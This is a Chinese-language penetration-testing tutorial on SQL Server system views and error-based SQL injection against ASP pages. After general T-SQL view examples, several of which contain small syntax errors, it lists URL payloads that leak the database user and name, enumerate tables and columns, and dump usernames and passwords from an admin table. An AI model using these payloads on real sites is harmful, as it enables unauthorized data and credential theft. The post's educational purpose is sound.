當前位置:網站首頁>73.網絡安全滲透測試—[SQL注入篇12]—[SQLSEVER+ASP-視圖查詢報錯注入]

73.網絡安全滲透測試—[SQL注入篇12]—[SQLSEVER+ASP-視圖查詢報錯注入]

2022-01-27 08:53:40 qwsn

我認為,無論是學習安全還是從事安全的人,多多少少都有些許的情懷和使命感!!!

一、SQLSEVER+ASP 視圖查詢報錯注入

其報錯的原理還是類型轉換失敗時,顯示其相應的信息。不過我們用到了視圖查詢!!!

1、SQLSERVER 視圖概念

(1)前言:

         我們知道MySQL在注入的時候,會用到默認存在的information_schema數據庫,該庫裏面存儲著許多與數據庫相關的信息。同樣的在SQL_SERVER 中,每個數據庫中都有視圖,通俗的說就是虛擬聯合錶,其視圖下存在一個默認的系統視圖,其中存放了很多關於這個庫的信息。比如information_schema.columns視圖,就存放著當前數據庫的所有列信息!!!

--1、視圖知識點
--1)視圖是從一個或多個基本錶導出的虛/引用錶,不進行實際的存儲
--2)操作視圖就是在操作與視圖相關聯的基本錶
--3)只能在當前數據庫中創建視圖
--4)創建視圖:SSMS圖形化創建、T-SQL命令創建
--5)基本錶更新了新字段,必須重新創建視圖才能更新視圖新字段
--6)基本錶被删除了,視圖就不能使用了
--7)視圖:不能使用order by命令、不能使用into子句、不能在臨時錶或錶變量上創建視圖
--8)分區視圖:本地分區視圖、分布式分區視圖
--9)要通過更新視圖來更新基本錶數據,必須保證視圖為可更新視圖

--2、視圖示例
--1)創建ccj視圖,包括計算機專業各學生的學號、其選修的課程號及成績。要保證對該視圖的修改都符合專業為計算機的這個條件
	create view ccj with encryption
		as select xs.sno,cno,grade from xs,cjb where xs.sno=cjb.sno and major ='計算機';
		with check option;
--2)創建計算機專業學生的平均成績視圖ccj_avg,包括學號(在視圖中列名為num)和平均成績(在視圖中列名為score_avg)
	create view ccj_avg(num,score_avg)
		as select sno,avg(grade) from cjb group by sno;
--3)視圖查詢:顯示ccj和ccj_avg視圖中的內容:
	select * from ccj;
	select * from ccj_avg where score_avg>=75;
--4)更新視圖:插入數據
--向cxs視圖中插入記錄
	insert into cxs values('191315','劉明儀',1,'1996-3-2',50);
--5)更新視圖:修改數據(實際修改的是基本錶數據)
--將cxs視圖中所有學生的總學分加1
	update cxs set 總學分=總學分+1;
--將ccj視圖中學號為191301的學生的101課程的成績改為90
	update ccj set 成績=90 where 學號='191301' and 課程號='101';
--6)修改視圖的定義:將cxs視圖修改為只包含計算機專業學生的學號、姓名和總學分
	alter view cxs
		as select 學號,姓名,總學分 from xsb where 專業='計算機';
--視圖ccj是加密存儲視圖,修改其定義,包括學號、姓名、選修課程號、課程名和成績
	alter view ccj with encryption
		as select xsb.學號,姓名,cjb.課程號,課程名,成績 from xsb.cjb.kcb
			where xsb.學號=cjb.學號 and cjb.課程號=kcb.課程號 and 專業='計算機'
			with check option;
--删除視圖:删除視圖cxs和ccj;
	drop view cxs,ccj;

--3、總結
--1)創建視圖:create view xxx as select
--存儲加密:with encryption
--符合select條件:with check option
--2)删除視圖:drop view xxx
--3)修改視圖定義:alter view xxx as select
--4)查詢視圖:select *  from ccj
--5)更新視圖:插入數據:insert into xxx values()
--6)更新視圖:修改數據:update xxx set xxx=xxx

--4、系統視圖:有三個重要的錶
--1)存放數據庫相關信息:INFORMATION_SCHEMA.SHCEMATA
--2)存放數據錶相關信息:INFORMATION_SCHEMA.TABLES
--3)存放字段相關信息:INFORMATION_SCHEMA.COLUMNS

(2)系統視圖,如下圖所示:
在這裏插入圖片描述
(3)INFORMATION_SCHEMA.TABLES視圖裏面存儲著所有的列相關信息,其最重要的就是列名字段,如下圖所示:最重要的一點,MySQL裏面table_schema錶示的是庫名,而SQL SERVER裏面table_schema錶示的是錶的用戶,很明顯從以下圖中可以發現此時的庫名用table_catalog錶示
在這裏插入圖片描述
(4)information_schema.columns視圖:
在這裏插入圖片描述

(5)information_schema.schemata視圖:
在這裏插入圖片描述

2、SQLSEVER+ASP 視圖查詢報錯注入示例

(1)查詢當前用戶名: ?id=1 and user_name()>0
在這裏插入圖片描述

(2)查詢當前數據庫名:?id=1 and db_name()>0
在這裏插入圖片描述

(3)根據用戶名爆出某個用戶的所有錶:?id=1 and(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo' FOR XML PATH)>1
在這裏插入圖片描述

(4)根據數據庫名爆出某個庫的所有錶:?id=1 and(select TABLE_NAME from information_schema.TABLES where TABLE_CATALOG='mydb' FOR XML PATH)>1
在這裏插入圖片描述

(5)根據錶名爆出某個錶所有列:?id=1 and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' FOR XML PATH)>1

在這裏插入圖片描述

(6)根據用戶名爆出所有錶的所有列:?id=1 and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_CATALOG='mydb' FOR XML PATH)>1
在這裏插入圖片描述

(7)爆出admin錶的數據:?id=1 and (select username,password from admin FOR XML PATH)>1
在這裏插入圖片描述

版權聲明
本文為[qwsn]所創,轉載請帶上原文鏈接,感謝
https://cht.chowdera.com/2022/01/202201270853354993.html

隨機推薦